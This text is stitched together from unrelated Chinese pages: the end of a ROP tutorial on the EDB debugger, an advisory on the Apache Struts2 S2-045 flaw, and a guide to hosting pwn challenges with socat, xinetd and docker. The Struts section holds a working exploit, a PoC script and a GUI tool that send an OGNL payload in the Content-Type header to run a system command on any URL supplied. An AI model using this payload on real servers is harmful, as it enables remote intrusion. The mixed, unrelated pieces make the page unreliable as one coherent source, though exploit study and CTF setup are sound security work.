下面我们就拿level5做例子来讲解一下如何使用EDB。首先是挂载(attach)进程和设置断点(break point)。我们知道当我们在用exp.py脚本进行攻击的时候,脚本会一直运行,我们并没有足够的时间进行挂载操作。想要进行调试的话我们需要让脚本暂停一下,随后再进行挂载。暂停的方法很简单,只需要在脚本中加一句”raw_input()”即可。比如说我们想在发送payload1之前暂停一下脚本,只需要这样:

ss = raw_input()
print “\n#############sending payload1#############\n”
p.send(payload1)
这样的话,当脚本运行起来后,就会在raw_input()这一行停下来,等待用户输入。这时候我们就可以启动EDB进行挂载了。

使用EDB进行挂载非常简单,输入进程名点ok即可。

挂载上以后就可以设置断点了。首先在调试窗口按”ctrl + g”就可以跳转到目标地址,我们这里将地址设置为0x400610,也就是第一个gadget的地址。

接着我们在0x400610这个地址前双击,就可以看到一个红点,说明我们已经成功的下了断点。接着按“F9”或者点击”Run”就可以让程序继续运行了。

虽然程序继续运行了,但是脚本还在继续等待用户的输入,这时候只需要在命令行按一下回车,程序就会继续运行,随后会暂停在”0x400610”这个断点。

接着我们可以按”F8”或者”F7”进行单步调试,主窗口会显示pc将要执行的指令以及执行后的结果。右边会看到各个寄存器的值。注意,在寄存器(比如说RSP)的值上点击右键,可以选择”follow in dump”,随后就在data dump窗口就能看到这个地址上对应数据是什么了。除此之外,EDB还支持动态修改内存数据,当你选中数据后,可以右键,选择”Edit Bytes”,就可以对选中的数据进行动态修改。

以上介绍的只是EDB的一些基本操作,在随后的章节中我们还会结合其他例子继续介绍一些EDB的高级用法。

七、小结
可以说ROP最大的艺术就是在于gadgets千变万化的组合了。因为篇幅原因我们准备将如何寻找以及组合gadgets的技巧留到随后的文章中去介绍。欢迎大家到时继续学习。

八、参考资料
64位Linux下的栈溢出

Week4-bigdata-丘比龙版银河系最详细Writeup!

作者:蒸米@阿里聚安全,更多安全类技术文章,请访问阿里聚安全博客

2016年11月07日发布
新浪微博微信TwitterFacebook
赞 | 0 收藏 | 6
你可能感兴趣的文章

Linux cmd(待补充) 6 收藏,412 浏览
Linux Namespace和Cgroup 7 收藏,415 浏览
Linux 挖坑不埋指南——甲篇 77 收藏,8.7k 浏览
评论默认排序时间排序

文明社会,理性评论
发布评论

关注作者
阿里聚安全 阿里聚安全
380 声望
发布于专栏
阿里聚安全

阿里聚安全(http://jaq.alibaba.com)由阿里巴巴移动安全部出品,面向企业和开发者提供企业安全解决方案,全面覆盖移动安全、数据风控、内容安全、实人认证等维度,并在业界率先提出“以业务为中心的安全”,赋能生态,与行业共享阿里巴巴集团多年沉淀的专业安全能力。

38 人关注 关注专栏

目录
一步一步学ROP之linux_x64篇
一、序
二、Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击
三、linux_64与linux_86的区别
四、使用工具寻找gadgets
五、通用gadgets
六、EDB调试器
七、小结
八、参考资料
你好!看起来你挺喜欢这个内容,但是你还没有注册帐号。

当你创建了帐号,我们能准确地追踪你关注的问题,在有新答案或内容的时候收到网页和邮件通知。
还能直接向作者咨询更多细节。如果上面的内容有帮助,记得点赞 (♥◠‿◠)ノ 表示感谢。
立即注册
明天提醒我

网站相关
关于我们
服务条款
帮助中心
声望与权限
编辑器语法
每周精选
社区服务中心
联系合作
联系我们
加入我们
合作伙伴
媒体报道
建议反馈
常用链接
笔记插件: Chrome
笔记插件: Firefox
订阅:问答 / 文章
文档镜像
D-DAY 技术沙龙
黑客马拉松 Hackathon
域名搜索注册
周边店铺
社区日志
产品技术日志
社区运营日志
市场运营日志
团队日志
社区访谈
微信 新浪微博 Github Twitter
内容许可
除特别说明外,用户内容均采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可
本站由 又拍云 提供 CDN 存储服务

手机扫一扫

下载官方 App

Copyright © 2011-2017 SegmentFault. 当前呈现版本 17.06.16
浙ICP备 15005796号-2 浙公网安备 33010602002000号 杭州堆栈科技有限公司版权所有
回顶部

struts2远程命令执行漏洞S2-045

struts2远程命令执行漏洞S2-045

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵,漏洞评级为:高危。

漏洞详情:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

风险等级:高风险。

漏洞风险:黑客通过利用漏洞可以实现远程命令执行。

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10。

安全版本:Struts 2.3.32或2.5.10.1。

poc,如下:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()

poc()

exp,如下:

#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



class START():

def __init__(self,root):
self.root=root
self.show_W_Text = Text()
self.show_url_ed = Label(root, text="str2")
self.edit_url = Entry(root, text="输入地址")
self.butt_whois = Button(root, text="kill",command=self.poc)
self.show_url_ed.pack()
self.edit_url.pack()
self.butt_whois.pack()
self.show_W_Text.pack()

def poc(self):
w_url = self.edit_url.get()
text = self.show_W_Text
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header[
"User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header[
"Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(w_url, datagen, headers=header)
response = urllib2.urlopen(request).read()
text.insert(1.0, response)


if __name__ == '__main__':

root=Tk()
root.title("....")
motion=START(root)
mainloop()

修复建议:如您正在使用Jakarta文件上传插件,请升级Struts至安全版本。

如何搭建Pwn利用环境

前人栽树,后人乘凉

socat 使用方法

socat 简介

本身socat是加强版的nc工具,可以借助nc获得本地测试的TCP、UDP接口,主要用于Pwn题目的部署工作,方便重启

安装socat工具

在ubuntu 16.04 安装socat工具,直接使用apt-get即可(记得保证权限满足):

sudo apt-get install socat

运行命令:

socat TCP-LISTEN:4444,REUSEADDR,FORK EXEC:./xxxxxxxx

xxxx表示文件路径

xinetd方法

  1. 安装

    1
    sudo apt-get install xinetd
  2. 设置启动模板

1
2
3
4
5
6
7
8
9
10
11
/etc/services 下先添加自己的服务端口信息 
/etc/xinetd.d/ 下添加自己的服务
service pwn_test
{
disable = no //打开
port = 10002
socket_type = stream
server = 【filepath】
wait = no
user = pwn_user
}

简单方法,docker部署方式,主要用于正式CTF比赛

docker方式部署主要用于正式比赛需要部署多台虚拟机的场景,而且可以通过控制虚拟机资源进行管理。
存在不足:
(1)docker虚拟机资源有限,可能带来性能问题,特别是大规模访问场景下;
(2)docker版本如果存在本地逃逸漏洞,可以导致打穿docker主进程获得“上帝”视角,对办比赛就十分不友好;
(3)docker可以有效限制权限等问题,但是对于kernel类型题目还是不太适合。